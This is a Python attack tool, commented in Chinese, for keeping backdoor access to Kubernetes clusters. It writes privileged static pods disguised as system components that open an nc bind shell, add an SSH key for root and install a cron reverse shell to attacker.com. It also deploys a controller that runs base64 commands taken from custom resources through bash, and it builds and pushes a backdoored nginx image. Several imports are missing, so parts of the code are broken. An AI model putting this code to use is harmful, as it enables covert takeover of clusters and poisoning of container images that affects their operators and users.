#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

Kubernetes环境权限维持模块
实现云原生环境下的高级权限维持技术
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import time
import base64
import subprocess
import json
from datetime import datetime
from typing import Dict, List, Optional




class StaticPodBackdoor:
    """静态Pod后门管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.static_pod_path = "/etc/kubernetes/manifests"
        self.backup_path = "/tmp/.kube_backup"
        
    def create_malicious_static_pod(self, pod_name: str = None) -> bool:
        """创建恶意静态Pod后门"""
        try:
            if not pod_name:
                pod_name = "system-{}".format(self._generate_random_string(8))
            
            # 生成恶意Pod配置
            pod_config = self._generate_pod_config(pod_name)
            
            # 写入静态Pod目录
            pod_file = os.path.join(self.static_pod_path, "{}.yaml".format(pod_name))
           # 写入Pod配置文件
            with open(pod_file, 'w') as f:
                json.dump(pod_config, f, indent=2)
            
            print("[+] 静态Pod后门已部署: {}".format(pod_file))
            return True
            
        except Exception as e:
            print("[-] 静态Pod后门部署失败: {}".format(e))
            return False
    
    def _generate_pod_config(self, pod_name: str) -> Dict:
        """生成恶意Pod配置"""
        # 伪装成系统组件
        system_names = [
            "kube-proxy-monitor", "node-exporter", "system-monitor",
            "network-policy-agent", "log-collector", "metrics-server"
        ]
        
        disguised_name = random.choice(system_names)
        
        return {
            "apiVersion": "v1",
            "kind": "Pod",
            "metadata": {
                "name": disguised_name,
                "namespace": "kube-system",
                "labels": {
                    "component": disguised_name,
                    "tier": "node"
                }
            },
            "spec": {
                "hostNetwork": True,
                "hostPID": True,
                "containers": [{
                    "name": disguised_name,
                    "image": "alpine:latest",
                    "command": ["/bin/sh"],
                    "args": ["-c", self._generate_backdoor_script()],
                    "securityContext": {
                        "privileged": True
                    },
                    "volumeMounts": [{
                        "name": "host-root",
                        "mountPath": "/host",
                        "readOnly": False
                    }]
                }],
                "volumes": [{
                    "name": "host-root",
                    "hostPath": {
                        "path": "/",
                        "type": "Directory"
                    }
                }],
                "restartPolicy": "Always"
            }
        }
    
    def _generate_backdoor_script(self) -> str:
        """生成后门脚本"""
        script = """
        while true; do
            # 创建反向Shell监听
            if ! pgrep -f "nc.*8888" > /dev/null; then
                nohup nc -l -p 8888 -e /bin/bash &
            fi
            
            # 维持SSH密钥
            mkdir -p /host/root/.ssh
            echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /host/root/.ssh/authorized_keys
            chmod 600 /host/root/.ssh/authorized_keys
            
            # 创建定时任务
            echo '*/5 * * * * /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' | crontab -
            
            sleep 300
        done
        """
        return script.strip()
    
    def _generate_random_string(self, length: int) -> str:
        """生成随机字符串"""
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

class CRDMaliciousController:
    """CRD恶意控制器管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.crd_name = "systemconfigs.system.io"
        
    def deploy_malicious_crd(self) -> bool:
        """部署恶意CRD控制器"""
        try:
            # 创建CRD定义
            crd_config = self._generate_crd_definition()
            
            # 部署CRD
            crd_file = "/tmp/malicious-crd.yaml"# 写入CRD配置文件
            with open(crd_file, 'w') as f:
                json.dump(crd_config, f, indent=2)
            
            # 应用CRD
            result = subprocess.run(['kubectl', 'apply', '-f', crd_file], 
                                  capture_output=True, text=True)
            
            if result.returncode == 0:
                print("[+] 恶意CRD已部署: {}".format(self.crd_name))
                
                # 部署控制器
                self._deploy_controller()
                return True
            else:
                print("[-] CRD部署失败: {}".format(result.stderr))
                return False
                
        except Exception as e:
            print("[-] CRD部署异常: {}".format(e))
            return False
    
    def _generate_crd_definition(self) -> Dict:
        """生成CRD定义"""
        return {
            "apiVersion": "apiextensions.k8s.io/v1",
            "kind": "CustomResourceDefinition",
            "metadata": {
                "name": self.crd_name
            },
            "spec": {
                "group": "system.io",
                "versions": [{
                    "name": "v1",
                    "served": True,
                    "storage": True,
                    "schema": {
                        "openAPIV3Schema": {
                            "type": "object",
                            "properties": {
                                "spec": {
                                    "type": "object",
                                    "properties": {
                                        "config": {"type": "string"},
                                        "enabled": {"type": "boolean"}
                                    }
                                }
                            }
                        }
                    }
                }],
                "scope": "Namespaced",
                "names": {
                    "plural": "systemconfigs",
                    "singular": "systemconfig",
                    "kind": "SystemConfig"
                }
            }
        }
    
    def _deploy_controller(self) -> bool:
        """部署恶意控制器"""
        controller_config = {
            "apiVersion": "apps/v1",
            "kind": "Deployment",
            "metadata": {
                "name": "system-config-controller",
                "namespace": "kube-system"
            },
            "spec": {
                "replicas": 1,
                "selector": {
                    "matchLabels": {
                        "app": "system-config-controller"
                    }
                },
                "template": {
                    "metadata": {
                        "labels": {
                            "app": "system-config-controller"
                        }
                    },
                    "spec": {
                        "containers": [{
                            "name": "controller",
                            "image": "alpine:latest",
                            "command": ["/bin/sh"],
                            "args": ["-c", self._generate_controller_script()]
                        }]
                    }
                }
            }
        }
        
        controller_file = "/tmp/malicious-controller.yaml"
        with open(controller_file, 'w') as f:
            yaml.dump(controller_config, f, default_flow_style=False)
        
        result = subprocess.run(['kubectl', 'apply', '-f', controller_file], 
                              capture_output=True, text=True)
        
        return result.returncode == 0
    
    def _generate_controller_script(self) -> str:
        """生成控制器脚本"""
        return """
        apk add --no-cache curl
        while true; do
            # 监听CRD变化并执行恶意代码
            kubectl get systemconfigs --all-namespaces -o json | jq -r '.items[].spec.config' | base64 -d | bash
            sleep 60
        done
        """

class ContainerImageBackdoor:
    """容器镜像植入后门管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.registry = config.get('registry', 'docker.io')
        
    def inject_backdoor_to_image(self, image_name: str, tag: str = "latest") -> bool:
        """向容器镜像植入后门"""
        try:
            # 拉取原始镜像
            print("[*] 拉取原始镜像: {}:{}".format(image_name, tag))
            subprocess.run(['docker', 'pull', "{}:{}".format(image_name, tag)], check=True)
            
            # 创建Dockerfile注入后门
            dockerfile_content = self._generate_backdoor_dockerfile(image_name, tag)
            
            with open('/tmp/Dockerfile.backdoor', 'w') as f:
                f.write(dockerfile_content)
            
            # 构建带后门的镜像
            backdoor_tag = "{}-backdoor:{}".format(image_name, tag)
            build_cmd = ['docker', 'build', '-t', backdoor_tag, '-f', '/tmp/Dockerfile.backdoor', '.']
            
            result = subprocess.run(build_cmd, capture_output=True, text=True, cwd='/tmp')
            
            if result.returncode == 0:
                print("[+] 后门镜像构建成功: {}".format(backdoor_tag))
                
                # 推送到私有仓库
                if self._push_to_registry(backdoor_tag):
                    print(f"[+] 后门镜像已推送到仓库")
                    return True
            else:
                print("[-] 镜像构建失败: {}".format(result.stderr))
                return False
                
        except Exception as e:
            print("[-] 镜像后门注入失败: {}".format(e))
            return False
    
    def _generate_backdoor_dockerfile(self, base_image: str, tag: str) -> str:
        """生成带后门的Dockerfile"""
        backdoor_script = base64.b64encode("""
#!/bin/bash
# 隐蔽的后门启动脚本
(
    while true; do
        # 反向Shell
        bash -i >& /dev/tcp/attacker.com/4444 0>&1 2>/dev/null
        sleep 3600
    done
) &

# 启动原始应用
exec "$@"
        """.encode()).decode()
        
        return f"""
FROM {base_image}:{tag}

# 安装必要工具
RUN apt-get update && apt-get install -y netcat-openbsd curl && rm -rf /var/lib/apt/lists/*

# 注入后门脚本
RUN echo '{backdoor_script}' | base64 -d > /usr/local/bin/backdoor.sh && \\
    chmod +x /usr/local/bin/backdoor.sh

# 修改入口点
ENTRYPOINT ["/usr/local/bin/backdoor.sh"]
        """
    
    def _push_to_registry(self, image_tag: str) -> bool:
        """推送镜像到仓库"""
        try:
            # 重新标记镜像
            registry_tag = "{}/{}".format(self.registry, image_tag)
            subprocess.run(['docker', 'tag', image_tag, registry_tag], check=True)
            
            # 推送镜像
            result = subprocess.run(['docker', 'push', registry_tag], 
                                  capture_output=True, text=True)
            
            return result.returncode == 0
            
        except Exception as e:
            print("[-] 镜像推送失败: {}".format(e))
            return False

class KubernetesPersistenceManager:
    """Kubernetes权限维持总管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.static_pod = StaticPodBackdoor(config)
        self.crd_controller = CRDMaliciousController(config)
        self.image_backdoor = ContainerImageBackdoor(config)
        
    def check_k8s_environment(self) -> bool:
        """检查Kubernetes环境"""
        try:
            # 检查kubectl命令
            result = subprocess.run(['kubectl', 'version', '--client'], 
                                  capture_output=True, text=True)
            if result.returncode != 0:
                print("[-] kubectl命令不可用")
                return False
            
            # 检查集群连接
            result = subprocess.run(['kubectl', 'cluster-info'], 
                                  capture_output=True, text=True)
            if result.returncode != 0:
                print("[-] 无法连接到Kubernetes集群")
                return False
            
            print("[+] Kubernetes环境检查通过")
            return True
            
        except Exception as e:
            print("[-] Kubernetes环境检查失败: {}".format(e))
            return False
    
    def deploy_all_backdoors(self) -> Dict[str, bool]:
        """部署所有类型的后门"""
        results = {}
        
        if not self.check_k8s_environment():
            return {"error": "Kubernetes环境不可用"}
        
        print("\n[*] 开始部署Kubernetes权限维持后门...")
        
        # 部署静态Pod后门
        print("\n[*] 部署静态Pod后门...")
        results['static_pod'] = self.static_pod.create_malicious_static_pod()
        
        # 部署CRD恶意控制器
        print("\n[*] 部署CRD恶意控制器...")
        results['crd_controller'] = self.crd_controller.deploy_malicious_crd()
        
        # 镜像后门注入（示例）
        print("\n[*] 容器镜像后门注入...")
        results['image_backdoor'] = self.image_backdoor.inject_backdoor_to_image("nginx", "latest")
        
        return results
    
    def cleanup_backdoors(self) -> bool:
        """清理所有后门"""
        try:
            print("[*] 清理Kubernetes后门...")
            
            # 清理静态Pod
            static_pods = os.listdir(self.static_pod.static_pod_path)
            for pod in static_pods:
                if pod.startswith("system-") and pod.endswith(".yaml"):
                    os.remove(os.path.join(self.static_pod.static_pod_path, pod))
                    print("[+] 已清理静态Pod: {}".format(pod))
            
            # 清理CRD
            subprocess.run(['kubectl', 'delete', 'crd', self.crd_controller.crd_name], 
                         capture_output=True)
            
            # 清理控制器
            subprocess.run(['kubectl', 'delete', 'deployment', 'system-config-controller', 
                          '-n', 'kube-system'], capture_output=True)
            
            print("[+] Kubernetes后门清理完成")
            return True
            
        except Exception as e:
            print("[-] 后门清理失败: {}".format(e))
            return False

def main():
    """主函数"""
    config = {
        'registry': 'your-private-registry.com',
        'backdoor_port': 8888,
        'reverse_shell_host': 'attacker.com',
        'reverse_shell_port': 4444
    }
    
    k8s_manager = KubernetesPersistenceManager(config)
    
    print("=== Kubernetes权限维持工具 ===")
    print("1. 部署所有后门")
    print("2. 清理所有后门")
    print("3. 检查环境")
    
    choice = input("请选择操作: ")
    
    if choice == "1":
        results = k8s_manager.deploy_all_backdoors()
        print("\n部署结果: {}".format(results))
    elif choice == "2":
        k8s_manager.cleanup_backdoors()
    elif choice == "3":
        k8s_manager.check_k8s_environment()
    else:
        print("无效选择")

if __name__ == "__main__":
    main()